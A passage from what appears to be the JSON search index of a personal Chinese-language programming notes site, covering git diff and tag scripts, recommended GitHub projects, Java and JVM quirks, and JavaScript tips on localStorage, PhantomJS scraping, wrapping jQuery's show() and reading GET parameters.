(a/)?.* ]]; then\\n            continue\\n        elif [[ $REPLY =~ \\\\+\\\\+\\\\+\\\\ (b/)?([^[:blank:]$esc]+).* ]]; then\\n            path=${BASH_REMATCH[2]}\\nelif [[ $REPLY =~ @@\\\\ -[0-9]+(,[0-9]+)?\\\\ \\\\+([0-9]+)(,[0-9]+)?\\\\ @@.* ]]; then\\n            line=${BASH_REMATCH[2]}\\nelif [[ $REPLY =~ ^($esc\\\\[[0-9;]+m)*([\\\\ +-]) ]]; then\\n            echo \\\"$path:$line:$REPLY\\\"\\n            if [[ ${BASH_REMATCH[2]} != - ]]; then\\n                ((line++))\\n            fi\\n        fi\\n    done\\n}\\n</code></pre> <p>\\u7528\\u6cd5\\uff1a<code>git diff commit^ commit -U0|diff-lines</code></p>\"},{\"location\":\"Git/#gittagcommit\",\"title\":\"git\\u5bfc\\u51fatag\\u4e0ecommit\\u5173\\u7cfb\",\"text\":\"<p>\\u6709\\u4e9b\\u65f6\\u5019\\u9700\\u8981\\u5c06commit\\u7ffb\\u8bd1\\u6210\\u5bf9\\u5e94\\u7684tag\\uff0c\\u53ef\\u4ee5\\u5148\\u8fd9\\u6837\\u5bfc\\u51fa\\u518d\\u67e5\\u8be2\\uff1a</p> <pre><code>git tag|while read i; do echo ${i} `git log -1 --format='%H' ${i}`; done &gt; tags.txt\\n</code></pre> <p>\\u867d\\u7136git tag\\u4e5f\\u6709<code>--format</code>\\u53c2\\u6570\\uff0c\\u4f46\\u6ca1\\u627e\\u5230\\u53ef\\u4ee5\\u663e\\u793atag\\u5bf9\\u5e94commit\\u7684\\u65b9\\u6cd5\\uff0c\\u90a3\\u5c31\\u8fd8\\u662f\\u8001\\u8001\\u5b9e\\u5b9egit log\\u5457</p>\"},{\"location\":\"GithubProjectRecommendation/\",\"title\":\"Github Project Recommendation\",\"text\":\"\"},{\"location\":\"GithubProjectRecommendation/#you-get\",\"title\":\"you-get\",\"text\":\"<p>https://github.com/soimort/you-get</p> <p>pip\\u5b89\\u88c5\\u540e\\u76f4\\u63a5\\u4e0b\\u8f7db\\u7ad9\\u8d85\\u6e05\\u89c6\\u9891</p> <p>\\u672c\\u60f3\\u81ea\\u5df1\\u7528PhantomJS\\u5199bilibili\\u7684\\u4e0b\\u8f7d\\u7684\\uff0c\\u6ca1\\u60f3\\u5230\\u4eba\\u5bb6\\u62ff\\u5230\\u4e86\\u7b7e\\u540d\\u7684\\u79c1\\u94a5\\uff0c\\u76f4\\u63a5\\u514d\\u6d4f\\u89c8\\u5668\\u5b9e\\u73b0\\u4e86666</p>\"},{\"location\":\"GithubProjectRecommendation/#anki\",\"title\":\"Anki\",\"text\":\"<p>https://github.com/dae/anki</p> <p>Anki\\u662f\\u4e00\\u4e2a\\u8f85\\u52a9\\u8bb0\\u5fc6\\u8f6f\\u4ef6\\uff0c\\u5b83\\u53ef\\u4ee5\\u5728\\u76f8\\u5bf9\\u5408\\u9002\\u7684\\u65f6\\u95f4\\u6765\\u544a\\u8bc9\\u4f60\\u590d\\u4e60\\u4ec0\\u4e48\\u6bd4\\u8f83\\u597d\\u3002</p> <p>Learn More:</p> <p>https://zhuanlan.zhihu.com/p/21338255?refer=-anki</p> <p>https://zhuanlan.zhihu.com/-anki</p>\"},{\"location\":\"GithubProjectRecommendation/#onlinejudge\",\"title\":\"OnlineJudge\",\"text\":\"<p>https://github.com/QingdaoU/OnlineJudge</p> <p>\\u9752\\u5c9b\\u5927\\u5b66\\u7684OnlineJudge\\uff0c\\u4eba\\u5bb6\\u7684\\u6bd5\\u4e1a\\u8bbe\\u8ba1\\u5462\\uff0c\\u754c\\u9762\\u597d\\u770b\\uff0c\\u57fa\\u4e8eDocker\\uff0cC\\u548cJava\\u7684\\u6c99\\u7bb1\\u8bbe\\u8ba1\\u633a\\u5b8c\\u5584\\u7684</p> <p>https://github.com/QingdaoU/OnlineJudge/wiki/%E6%AD%A3%E5%BC%8F%E9%83%A8%E7%BD%B2%E6%96%87%E6%A1%A3</p> <p>\\u8fd9\\u662f\\u5b89\\u88c5\\u6587\\u6863\\uff0c\\u9700\\u8981\\u5b89\\u88c5Docker\\u548cdocker-compose\\uff0c\\u6ce8\\u610f\\u5176\\u4e2dpython tools/release_static.py\\u8fd9\\u4e00\\u6b65\\u662f\\u5fc5\\u987b\\u6267\\u884c\\u7684</p> <p>\\u5b89\\u88c5\\u540e\\u7684\\u9ed8\\u8ba4\\u7248\\u672c\\u662f\\u4e0d\\u652f\\u6301Python\\u4f5c\\u4e3a\\u63d0\\u4ea4\\u8bed\\u8a00\\u7684\\uff0c\\u9700\\u8981\\u8fdb\\u884c\\u5982\\u4e0b\\u64cd\\u4f5c\\uff1a</p> <pre><code># \\u9996\\u5148\\u5173\\u6389\\u5bb9\\u5668\\ndocker-compose stop\\n# \\u5728master\\u5206\\u652f\\u628a\\u90a3\\u4e2a\\u5206\\u652fmerge\\u8fc7\\u6765\\ngit merge origin/python-support\\npython tools/release_static.py\\n# \\u7136\\u540e\\u542f\\u52a8\\u5bb9\\u5668\\uff0c\\u6ce8\\u610f\\u8981-d\\u5426\\u5219\\u4f1a\\u5360\\u636e\\u524d\\u53f0\\ndocker-compose up -d\\n</code></pre>\"},{\"location\":\"GithubProjectRecommendation/#sympy\",\"title\":\"sympy\",\"text\":\"<p>https://github.com/sympy/sympy</p> <p>http://docs.sympy.org/latest/tutorial/solvers.html</p> <p>Python\\u4e5f\\u80fd\\u7528\\u6765\\u89e3\\u65b9\\u7a0b\\uff01\\u6c42\\u6781\\u9650\\uff01\\u6c42\\u79ef\\u5206\\uff01</p>\"},{\"location\":\"GithubProjectRecommendation/#shellcheck\",\"title\":\"shellcheck\",\"text\":\"<p>\\u68c0\\u67e5\\u81ea\\u5df1\\u5199\\u7684shell\\u811a\\u672c\\u6709\\u6ca1\\u6709\\u95ee\\u9898</p> <p>https://github.com/koalaman/shellcheck</p> <p>https://www.shellcheck.net/</p>\"},{\"location\":\"GithubProjectRecommendation/#instantclick\",\"title\":\"InstantClick\",\"text\":\"<p>https://github.com/dieulot/instantclick</p> <p>\\u5728\\u9f20\\u6807\\u60ac\\u505c\\u65f6\\u5373\\u523b\\u5f00\\u59cb\\u52a0\\u8f7d\\u7f51\\u9875\\uff0c\\u663e\\u8457\\u63d0\\u9ad8\\u7f51\\u9875\\u52a0\\u8f7d\\u901f\\u5ea6\\uff0c\\u975e\\u5e38\\u9002\\u5408\\u9759\\u6001blog\\u7c7b\\u578b\\u7f51\\u9875\\u4f7f\\u7528</p>\"},{\"location\":\"GithubProjectRecommendation/#explainshell\",\"title\":\"explainshell\",\"text\":\"<p>https://github.com/idank/explainshell</p> <p>\\u67e5\\u8be2shell\\u547d\\u4ee4\\u5404\\u4e2a\\u53c2\\u6570\\u7684\\u542b\\u4e49</p>\"},{\"location\":\"GithubProjectRecommendation/#python-learn-notes\",\"title\":\"Python Learn Notes\",\"text\":\"<p>https://github.com/AnyISalIn/Python_Learn_Notes</p> <p>\\u4e00\\u4e9b\\u4e0d\\u9519\\u7684Python\\u7b14\\u8bb0</p>\"},{\"location\":\"GithubProjectRecommendation/#websocketd\",\"title\":\"websocketd\",\"text\":\"<p>https://github.com/joewalnes/websocketd/</p> <p>\\u628alinux\\u7a0b\\u5e8f\\u7684\\u8f93\\u51fa\\u8f93\\u51fa\\u91cd\\u5b9a\\u5411\\u5230websocket\\uff0c\\u5c31\\u53ef\\u4ee5\\u5b9e\\u73b0\\u7f51\\u9875\\u4e0a\\u5b9e\\u65f6\\u663e\\u793a\\u7a0b\\u5e8f\\u6267\\u884c\\u52a8\\u6001\\uff0c\\u5b98\\u7f51\\uff1ahttp://websocketd.com/</p>\"},{\"location\":\"Java/\",\"title\":\"Java\",\"text\":\"\"},{\"location\":\"Java/#javakeng\",\"title\":\"Java\\u7684\\u795e\\u5947(keng)\",\"text\":\"<p>\\u8bb0\\u5f55\\u4e00\\u4e0bJava\\u4e0eC\\u7684\\u4e0d\\u540c\\u70b9\\uff0c\\u611f\\u53d7Thinking in Java</p>\"},{\"location\":\"Java/#_1\",\"title\":\"\\u53d8\\u91cf\\u540d\\u79f0\",\"text\":\"<p>$\\u5c31\\u662f\\u4e2a\\u666e\\u901a\\u5b57\\u7b26\\uff0c\\u53ef\\u4ee5int $a; //php\\u8868\\u793amdzz</p>\"},{\"location\":\"Java/#main\",\"title\":\"main\\u51fd\\u6570\",\"text\":\"<p>\\u5fc5\\u987b\\u662fpublic static void main(String[] args)</p> <p>\\u5982\\u679c\\u6ca1\\u6709static\\uff0c\\u7f16\\u8bd1\\u80fd\\u901a\\u8fc7\\u4f46\\u6ca1\\u6709\\u6267\\u884c\\u7ed3\\u679c\\uff1f// \\u5f85\\u8003\\u8bc1\\uff0ceclipse\\u62d2\\u7edd\\u8fd0\\u884c</p>\"},{\"location\":\"Java/#if\",\"title\":\"if\",\"text\":\"<p>if\\u4e2d\\u7684\\u4e1c\\u897f\\u5fc5\\u987b\\u662fboolean\\u7c7b\\u578b\\u7684\\u503c\\uff0c\\u4e0d\\u80fd\\u628aint\\u653e\\u5165if\\u4e2d</p> <p>if ( a = true )\\u7684\\u5751\\u8fd8\\u662f\\u5b58\\u5728\\u7684\\uff0c\\u5141\\u8bb8\\u8d4b\\u503c\\u4f5c\\u4e3aif\\u6761\\u4ef6</p>\"},{\"location\":\"Java/#_2\",\"title\":\"%\\u53d6\\u4f59\\u7684\\u7ed3\\u679c\",\"text\":\"<p>\\u8981\\u8003\\u8651\\u5230\\u8d1f\\u6570\\u7684\\u7ed3\\u679c\\u554a~\\uff08\\u548cC\\u4e00\\u81f4\\uff09</p>\"},{\"location\":\"Java/#_3\",\"title\":\"\\u6570\\u7ec4\\u58f0\\u660e\\u5f15\\u7528\\u3001\\u521d\\u59cb\\u5316\\u4e4b\\u540e\\u624d\\u80fd\\u7528\",\"text\":\"<p>\\u4e0d\\u5141\\u8bb8int a[5]; \\u53ea\\u80fdint[] a = new int [5];</p> <p>\\u5982\\u679c\\u8981\\u521d\\u59cb\\u5316 int[] b = new int[]{1,2}; \\u53ef\\u4ee5\\u7b80\\u5316\\u4e3a int c[] = {1,2};</p> <p>\\u4f46\\u4e0d\\u80fd\\u51fa\\u73b0d={1,2}; \\u4e0d\\u5141\\u8bb8\\u5927\\u62ec\\u53f7\\u8fd9\\u73a9\\u610f\\u7528\\u6765\\u8d4b\\u503c\\uff0c\\u53ea\\u51c6\\u7528\\u4e8e\\u521d\\u59cb\\u5316</p>\"},{\"location\":\"Java/#switch\",\"title\":\"switch\",\"text\":\"<p>boolean\\u662f\\u4e0d\\u884c\\u7684\\uff1bString\\u662f\\u53ef\\u4ee5\\u7684\\uff01</p> <p>case\\u662f\\u4e0d\\u80fd\\u91cd\\u590d\\u7684\\uff08\\u548cC\\u4e00\\u81f4\\uff09</p>\"},{\"location\":\"Java/#_4\",\"title\":\"==\",\"text\":\"<p>\\u4e00\\u5b9a\\u662f\\u6bd4\\u8f83\\u5730\\u5740\\uff0c\\u5982\\u679c\\u201dhaha\\u201d\\u5728\\u4ee3\\u7801\\u4e2d\\u51fa\\u73b0\\u4e24\\u6b21\\uff0c\\u4ed6\\u4eec\\u7684\\u5730\\u5740\\u662f\\u4e00\\u6837\\u7684</p>\"},{\"location\":\"Java/#_5\",\"title\":\"\\u7c7b\\u578b\\u81ea\\u52a8\\u63d0\\u5347\",\"text\":\"<p>int long float double</p> <p>\\u6700\\u9ad8\\u51fa\\u73b0\\u54ea\\u4e2a\\u5168\\u90e8\\u63d0\\u5347\\u4e3a\\u54ea\\u4e2a\\uff0c\\u90fd\\u6ca1\\u6709\\u5c31\\u5168\\u90e8\\u63d0\\u5347\\u4e3aint</p> <p>\\u6240\\u4ee5\\u8981\\u8fd9\\u4e48\\u5199\\u624d\\u80fd\\u628abyte2\\uff1abyte b = (byte)(a2);</p>\"},{\"location\":\"Java/#_6\",\"title\":\"\\u5185\\u90e8\\u7c7b\",\"text\":\"<p>\\u52a0\\u4e0astatic\\u540e\\uff1a\\u53ef\\u4ee5\\u4e0d\\u7528\\u5b9e\\u4f8b\\u5316\\u5916\\u90e8\\u7c7b\\u5c31\\u521b\\u5efa\\u5bf9\\u8c61\\uff0c\\u4e0d\\u80fd\\u8bbf\\u95ee\\u5916\\u90e8\\u7c7b\\u975e\\u9759\\u6001\\u7684\\u6570\\u636e</p> <p>\\u4e0d\\u52a0static\\uff1a\\u9700\\u8981\\u5148\\u5b9e\\u4f8b\\u5316\\u5916\\u90e8\\u7c7bnew OuterClass().new InnerClass()</p>\"},{\"location\":\"Java/#new\",\"title\":\"\\u6570\\u7ec4\\u7684new\\u4e0d\\u521b\\u5efa\\u5bf9\\u8c61\",\"text\":\"<p>\\u5bf9\\u8c61\\u6570\\u7ec4\\u7684new\\u662f\\u4e0d\\u4f1a\\u521b\\u5efa\\u5bf9\\u8c61\\u7684</p> <p>\\u4f8b\\u5982 <code>A[] a=new A[5];</code> \\u5e76\\u4e0d\\u4f1a\\u521b\\u5efa5\\u4e2aA\\u7c7b\\u578b\\u7684\\u5bf9\\u8c61\\uff0c\\u53ea\\u662f5\\u4e2a\\u7a7a\\u5f15\\u7528</p>\"},{\"location\":\"Java/#_7\",\"title\":\"\\u5f02\\u5e38\\u5904\\u7406\\u4e2d\\u7684\\u8d44\\u6e90\\u91ca\\u653e\\u95ee\\u9898\",\"text\":\"<p>From: http://stackoverflow.com/questions/8080649/do-i-have-to-close-fileoutputstream-which-is-wrapped-by-printstream</p> <p>\\u5728Java7\\u4e2d\\u5f15\\u5165\\u4e86ARM(\\u81ea\\u52a8\\u8d44\\u6e90\\u7ba1\\u7406)\\uff0c\\u5e76\\u4e0d\\u9700\\u8981\\u624b\\u52a8\\u91ca\\u653e\\u8d44\\u6e90</p> <p>\\u4ee5\\u4e0b\\u8fd9\\u79cd\\u628a\\u53d8\\u91cf\\u58f0\\u660e\\u653e\\u5230try\\u540e\\u7684\\u62ec\\u53f7\\u91cc\\u9762\\uff0c\\u4e0d\\u5bf9\\u8d44\\u6e90\\u624b\\u52a8\\u91ca\\u653e\\u7684\\u5199\\u6cd5\\u662f\\u53ef\\u4ee5\\u7684\\uff0c\\u6ca1\\u6709\\u4efb\\u4f55\\u9519\\u8bef</p> <pre><code>public static void main(String args[]) throws IOException { try (PrintStream ps = new PrintStream(new FileOutputStream(\\\"myfile.txt\\\"))) {\\nps.println(\\\"This data is written to a file:\\\");\\n        System.out.println(\\\"Write successfully\\\");\\n    } catch (IOException e) {\\n        System.err.println(\\\"Error in writing to file\\\");\\nthrow e;\\n}\\n}\\n</code></pre> <p>\\u666e\\u901a\\u7684try-catch\\u662f\\u4e0d\\u591f\\u7684\\uff0c\\u9700\\u8981\\u5728finally\\u4e2d\\u91ca\\u653e\\u8d44\\u6e90\\uff1a</p> <pre><code>public static void main(String args[]) throws IOException { PrintStream ps = null;\\n\\ntry {\\nps = new PrintStream(new FileOutputStream(\\\"myfile.txt\\\"));\\nps.println(\\\"This data is written to a file:\\\");\\n        System.out.println(\\\"Write successfully\\\");\\n    } catch (IOException e) {\\n        System.err.println(\\\"Error in writing to file\\\");\\nthrow e;\\n} finally {\\nif (ps != null) ps.close();\\n}\\n}\\n</code></pre>\"},{\"location\":\"Java/#jvm\",\"title\":\"JVM\\u542f\\u52a8\\u65f6\\u7684\\u5185\\u5b58\\u53c2\\u6570\",\"text\":\"<p>From: http://blog.chinaunix.net/uid-26863299-id-3559878.html</p> <p>\\u5e38\\u89c1\\u53c2\\u6570\\u79cd\\u7c7b\\uff1a\\u914d\\u7f6e\\u5806\\u533a\\u7684\\uff08-Xms \\u3001-Xmx\\u3001-XX:newSize\\u3001-XX:MaxnewSize\\u3001-Xmn\\uff09\\u3001\\u914d\\u7f6e\\u975e\\u5806\\u533a\\uff08-XX:PermSize\\u3001-XX:MaxPermSize\\uff09\\u3002</p> <p>\\u5806\\u533a\\u7684\\uff1a</p> <p>1\\u3001-Xms \\uff1a\\u8868\\u793ajava\\u865a\\u62df\\u673a\\u5806\\u533a\\u5185\\u5b58\\u521d\\u59cb\\u5185\\u5b58\\u5206\\u914d\\u7684\\u5927\\u5c0f</p> <p>2\\u3001-Xmx\\uff1a \\u8868\\u793ajava\\u865a\\u62df\\u673a\\u5806\\u533a\\u5185\\u5b58\\u53ef\\u88ab\\u5206\\u914d\\u7684\\u6700\\u5927\\u4e0a\\u9650\\uff0c\\u901a\\u5e38\\u4f1a\\u5c06 -Xms \\u4e0e -Xmx\\u4e24\\u4e2a\\u53c2\\u6570\\u7684\\u914d\\u7f6e\\u76f8\\u540c\\u7684\\u503c\\uff0c\\u5176\\u76ee\\u7684\\u662f\\u4e3a\\u4e86\\u80fd\\u591f\\u5728java\\u5783\\u573e\\u56de\\u6536\\u673a\\u5236\\u6e05\\u7406\\u5b8c\\u5806\\u533a\\u540e\\u4e0d\\u9700\\u8981\\u91cd\\u65b0\\u5206\\u9694\\u8ba1\\u7b97\\u5806\\u533a\\u7684\\u5927\\u5c0f\\u800c\\u6d6a\\u8d39\\u8d44\\u6e90\\u3002</p> <p>3\\u3001-XX:newSize\\uff1a\\u8868\\u793a\\u65b0\\u751f\\u4ee3\\u521d\\u59cb\\u5185\\u5b58\\u7684\\u5927\\u5c0f\\uff0c\\u5e94\\u8be5\\u5c0f\\u4e8e -Xms\\u7684\\u503c\\uff1b</p> <p>4\\u3001-XX:MaxnewSize\\uff1a\\u8868\\u793a\\u65b0\\u751f\\u4ee3\\u53ef\\u88ab\\u5206\\u914d\\u7684\\u5185\\u5b58\\u7684\\u6700\\u5927\\u4e0a\\u9650\\uff1b\\u5f53\\u7136\\u8fd9\\u4e2a\\u503c\\u5e94\\u8be5\\u5c0f\\u4e8e -Xmx\\u7684\\u503c\\uff1b</p> <p>5\\u3001-Xmn\\uff1a\\u5bf9 -XX:newSize\\u3001-XX:MaxnewSize\\u4e24\\u4e2a\\u53c2\\u6570\\u7684\\u540c\\u65f6\\u914d\\u7f6e</p> <p>\\u975e\\u5806\\u533a\\u7684\\uff1a</p> <p>1\\u3001-XX:PermSize\\uff1a\\u8868\\u793a\\u975e\\u5806\\u533a\\u521d\\u59cb\\u5185\\u5b58\\u5206\\u914d\\u5927\\u5c0f\\uff0c\\u540d\\u5b57\\u6765\\u6e90\\u4e8epermanent size</p> <p>2\\u3001-XX:MaxPermSize\\uff1a\\u8868\\u793a\\u5bf9\\u975e\\u5806\\u533a\\u5206\\u914d\\u7684\\u5185\\u5b58\\u7684\\u6700\\u5927\\u4e0a\\u9650\\u3002</p> <p>\\u6700\\u5927\\u5806\\u5185\\u5b58\\u4e0e\\u6700\\u5927\\u975e\\u5806\\u5185\\u5b58\\u7684\\u548c\\u4e0d\\u80fd\\u591f\\u8d85\\u51fa\\u64cd\\u4f5c\\u7cfb\\u7edf\\u7684\\u53ef\\u7528\\u5185\\u5b58\\u3002</p>\"},{\"location\":\"JavaScript/\",\"title\":\"JavaScript\",\"text\":\"\"},{\"location\":\"JavaScript/#localstorage\",\"title\":\"\\u4f7f\\u7528localStorage\",\"text\":\"<p>Cookie\\u5b58\\u6570\\u636e\\u5f71\\u54cd\\u8bbf\\u95ee\\u901f\\u5ea6(\\u6bcf\\u6b21\\u8bf7\\u6c42\\u90fd\\u9700\\u8981\\u5e26\\u4e0aCookie)\\uff0c\\u4f7f\\u7528localStorage\\u5b58\\u50a8\\u6709\\u66f4\\u5927\\u5bb9\\u91cf\\uff0c\\u8fd8\\u4e0d\\u6613\\u4e22\\u5931</p> <p>\\u5efa\\u8bae\\u5c06\\u7528\\u6237\\u7684\\u5927\\u6bb5\\u8f93\\u5165\\u968f\\u65f6\\u5b58\\u50a8\\u5230localStorage\\u4e2d</p> <p>\\u9ad8\\u7ea7\\u5e94\\u7528\\u53ef\\u4ee5\\u662f\\u628ajs\\u7b49\\u4ee3\\u7801\\u6587\\u4ef6\\u8fd9\\u6837\\u7f13\\u5b58\\u5230\\u672c\\u5730\\uff0c\\u5b89\\u5168\\u6027\\u8ba8\\u8bba\\u89c1https://imququ.com/post/enhance-security-for-ls-code.html</p> <pre><code>//\\u5199\\u5165\\nvar storage=window.localStorage;\\nstorage[\\\"a\\\"]=1;\\n//\\u6e05\\u7a7a\\nwindow.localStorage.clear();\\n</code></pre>\"},{\"location\":\"JavaScript/#phantomjs\",\"title\":\"\\u4f7f\\u7528phantomjs\\u722c\\u53d6\\u7f51\\u9875\",\"text\":\"<p>\\u6709\\u4e9b\\u65f6\\u5019\\u6211\\u4eec\\u7528Python\\u7684requests\\u5e76\\u4e0d\\u80fd\\u5f88\\u5b8c\\u7f8e\\u5730\\u6e32\\u67d3\\u597d\\u7f51\\u9875\\uff0c\\u4f8b\\u5982\\u4eba\\u5bb6\\u7528\\u9177\\u70ab\\u7684js\\u4f5c\\u56fe\\u4e86\\uff0c\\u6211\\u5c31\\u60f3\\u5f97\\u5230\\u8fd9\\u5f20\\u56fe\\uff0c\\u8fd9\\u65f6\\u5019\\u7528phantomjs\\u5c31\\u597d\\u5566</p> <p>\\u722c\\u53d6\\u76ee\\u6807\\uff1a</p> <p>http://oncokb.org/#/gene/AKT1</p> <p>\\u8fd9\\u4e2a\\u7f51\\u9875\\u7684\\u53f3\\u8fb9\\u6709\\u4e00\\u5f20Tumor Types with AKT1 Mutations\\u7684\\u56fe</p> <p>\\u4ee3\\u7801\\uff1a</p> <p>code/spider.oncokb.js</p> <p>\\u4ee3\\u7801\\u7684\\u7ec6\\u8282\\uff1a</p> <ol> <li> <p>\\u6253\\u5f00\\u9875\\u9762\\u4e4b\\u524d\\u4e3a\\u4e86\\u622a\\u56fe\\u65b9\\u4fbf\\u9700\\u8981\\u5148\\u8bbe\\u7f6e\\u6d4f\\u89c8\\u5668\\u7684\\u5927\\u5c0f\\uff0c\\u8fd9\\u91cc\\u8bbe\\u7f6e\\u4e3a\\u4e861920*1080</p> </li> <li> <p>\\u4e0d\\u8981\\u4e00\\u6253\\u5f00\\u9875\\u9762\\u5c31\\u622a\\u56fe\\uff0c\\u800c\\u662f\\u7b49\\u5230\\u9875\\u9762\\u52a0\\u8f7d\\u597d\\u4e86\\u6700\\u540e\\u4e00\\u4e2a\\u8bf7\\u6c42(\\u4eceChrome\\u5f00\\u53d1\\u4eba\\u5458\\u5de5\\u5177\\u67e5\\u770b\\u6700\\u540e\\u7684\\u8bf7\\u6c42\\u662f\\u5565)\\u540e\\uff0c\\u518d\\u7b49\\u5f855s\\u540e\\u6267\\u884c\\u622a\\u56fe\\u3001\\u5bfc\\u51faHTML\\u5e76\\u9000\\u51fa</p> </li> <li> <p>\\u4e3a\\u4e86\\u9632\\u6b62\\u65e0\\u9650\\u7b49\\u5f85\\uff0c\\u8bbe\\u7f6e\\u6700\\u957f2min\\u540etimeout\\u9000\\u51fa</p> </li> <li> <p>\\u4e3a\\u4e86\\u65b9\\u4fbf\\u6279\\u91cf\\u5316\\u5904\\u7406\\uff0c\\u4ece\\u547d\\u4ee4\\u884c\\u53c2\\u6570\\u8bfb\\u53d6\\u9700\\u8981\\u722c\\u53d6\\u7684\\u57fa\\u56e0\\u540d\\u79f0</p> </li> <li> <p>\\u5728\\u8fd0\\u884c\\u7684\\u65f6\\u5019\\u6709\\u8bbe\\u7f6e\\u4ee3\\u7406\\u548c\\u4e0d\\u8981\\u8f7d\\u5165\\u56fe\\u7247\\u7684\\u53c2\\u6570\\uff0c\\u5177\\u4f53\\u89c1\\u5b98\\u65b9\\u6587\\u6863</p> </li> </ol>\"},{\"location\":\"JavaScript/#jqueryshow\",\"title\":\"jQuery\\u52ab\\u6301show\\u4e8b\\u4ef6\",\"text\":\"<p>\\u6211\\u7684\\u9700\\u6c42\\uff1a\\u7528\\u6237\\u767b\\u5f55\\u7684div\\u9700\\u8981\\u70b9\\u51fbLogin\\u540e\\u663e\\u793a(toggle)\\uff0c\\u6b64\\u65f6\\u6d4f\\u89c8\\u5668\\u5df2\\u7ecf\\u81ea\\u52a8\\u5e2e\\u7528\\u6237\\u586b\\u4e0a\\u4e86\\u7528\\u6237\\u540d\\u548c\\u5bc6\\u7801\\uff0c\\u7528\\u6237\\u9700\\u8981\\u624b\\u52a8\\u70b9\\u51fb\\u767b\\u5f55\\u6309\\u94ae\\u624d\\u4f1a\\u89e6\\u53d1\\u767b\\u5f55\\u8bf7\\u6c42\\uff1b\\u73b0\\u5728\\u6211\\u60f3\\u52a0\\u5165\\u5feb\\u901f\\u767b\\u5f55\\u529f\\u80fd\\uff0c\\u5728\\u663e\\u793a\\u767b\\u5f55div\\u540e\\u81ea\\u52a8\\u63d0\\u4ea4\\u767b\\u5f55\\u8bf7\\u6c42\\uff0c\\u5982\\u679c\\u4e3a\\u7a7a\\u6216\\u5bc6\\u7801\\u9519\\u8bef\\u518d\\u4ea4\\u7ed9\\u7528\\u6237\\u8f93\\u5165</p> <p>\\u6211\\u7684\\u89e3\\u51b3\\u65b9\\u6848\\uff1a\\u52a0\\u5165\\u4e0b\\u8ff0\\u6269\\u5c55jQuery\\u7684\\u4ee3\\u7801\\u540e\\uff0c\\u5bf9#login\\u7ed1\\u5b9abeforeShow\\u4e8b\\u4ef6\\uff0c\\u5904\\u7406\\u51fd\\u6570\\u5148\\u6839\\u636e\\u5168\\u5c40\\u53d8\\u91cf\\u662f\\u5426\\u5b58\\u5728\\u6765\\u5224\\u65ad\\u662f\\u5426\\u6267\\u884c\\u8fc7\\uff08\\u9632\\u6b62\\u6b7b\\u5faa\\u73af\\uff09\\uff0c\\u5982\\u679c\\u6ca1\\u6709\\u6267\\u884c\\u8fc7\\u5219\\u6267\\u884c\\u767b\\u5f55\\u51fd\\u6570clicklogin\\u5e76\\u8bbe\\u7f6e\\u5168\\u5c40\\u53d8\\u91cf</p> <p>\\u6548\\u679c\\uff1a\\u5982\\u679c\\u6d4f\\u89c8\\u5668\\u81ea\\u52a8\\u586b\\u5165\\u4e86\\u6b63\\u786e\\u7684\\u7528\\u6237\\u540d\\u5bc6\\u7801\\uff0c\\u5219\\u7528\\u6237\\u70b9\\u51fbLogin\\u540e\\u5feb\\u901f\\u95ea\\u8fc7\\u767b\\u5f55\\u8f93\\u5165\\u6846\\u5373\\u5b8c\\u6210\\u767b\\u5f55\\uff1b\\u5982\\u679c\\u6d4f\\u89c8\\u5668\\u6ca1\\u6709\\u81ea\\u52a8\\u586b\\u5165\\u7528\\u6237\\u540d\\u5bc6\\u7801\\uff0cclicklogin\\u51fd\\u6570\\u76f4\\u63a5return\\uff0c\\u7528\\u6237\\u6ca1\\u6709\\u611f\\u77e5\\uff1b\\u5982\\u679c\\u6d4f\\u89c8\\u5668\\u586b\\u5165\\u7684\\u5bc6\\u7801\\u662f\\u9519\\u7684\\uff0c\\u7528\\u6237\\u4f1a\\u770b\\u5230\\u5bc6\\u7801\\u9519\\u8bef\\u63d0\\u793a\\uff0c1s\\u540e\\u518d\\u6b21toggle\\u767b\\u5f55\\u7684div\\u8981\\u6c42\\u7528\\u6237\\u8f93\\u5165</p> <p>From: http://stackoverflow.com/questions/1225102/jquery-event-to-trigger-action-when-a-div-is-made-visible</p> <p>\\u5f15\\u5165jQuery\\u540e\\uff0c\\u4fee\\u6539jQuery\\u81ea\\u8eab\\u7684show\\u51fd\\u6570\\u4ee5\\u6269\\u5c55bind\\uff1a</p> <pre><code>jQuery(function($) {\\n\\nvar _oldShow = $.fn.show;\\n\\n$.fn.show = function(speed, oldCallback) {\\nreturn $(this).each(function() {\\nvar obj  = $(this),\\nnewCallback = function() {\\nif ($.isFunction(oldCallback)) {\\noldCallback.apply(obj);\\n}\\nobj.trigger('afterShow');\\n};\\n\\n// you can trigger a before show if you want\\nobj.trigger('beforeShow');\\n\\n// now use the old function to show the element passing the new callback\\n_oldShow.apply(obj, [speed, newCallback]);\\n});\\n}\\n});\\n</code></pre> <p>\\u7136\\u540e\\u5c31\\u53ef\\u4ee5\\u4f7f\\u7528bind\\u6ce8\\u518c<code>beforeShow</code>\\uff0c<code>afterShow</code>\\u54af\\uff1a</p> <pre><code>jQuery(function($) {\\n  $('#test')\\n.bind('beforeShow', function() {\\n      alert('beforeShow');\\n}) .bind('afterShow', function() {\\n      alert('afterShow');\\n})\\n.show(1000, function() {\\n      alert('in show callback');\\n})\\n.show();\\n});\\n</code></pre>\"},{\"location\":\"JavaScript/#get\",\"title\":\"\\u8bfb\\u53d6GET\\u53c2\\u6570\",\"text\":\"<p>\\u6709\\u4e9b\\u65f6\\u5019\\u5bf9GET\\u53c2\\u6570\\u7684\\u5904\\u7406\\u4ea4\\u7ed9\\u4e86\\u524d\\u7aef\\uff0c\\u540e\\u7aef\\u7684PHP\\u53ef\\u4ee5$_GET[\\u201cparameter\\u201d]\\uff0c\\u524d\\u7aefJS\\u548b\\u529e\\u5462\\uff1f</p> <p>From: http://stackoverflow.com/questions/979975/how-to-get-the-value-from-the-get-parameters</p> <pre><code>var QueryString = function () {\\n// This function is anonymous, is executed immediately and // the return value is assigned to QueryString!\\nvar query_string = {};\\nvar query = window.location.search.substring(1);\\nvar vars = query.split(\\\"&amp;\\\");\\nfor (var i=0;i&lt;vars.length;i++) {\\nvar pair = vars[i].split(\\\"=\\\");\\n// If first entry with this name\\nif (typeof query_string[pair[0]] === \\\"undefined\\\") {\\nquery_string[pair[0]] = decodeURIComponent(pair[1]);\\n// If second entry with this name\\n} else if (typeof query_string[pair[0]] === \\\"string\\\") {\\nvar arr = [ query_string[pair[0]],decodeURIComponent(pair[1]) ];\\nquery_string[pair[0]] = arr;\\n// If third or later entry with this name\\n} else {\\nquery_string[pair[0]].push(decodeURIComponent(pair[1]));\\n}\\n} return query_string;\\n}();\\n</code></pre> 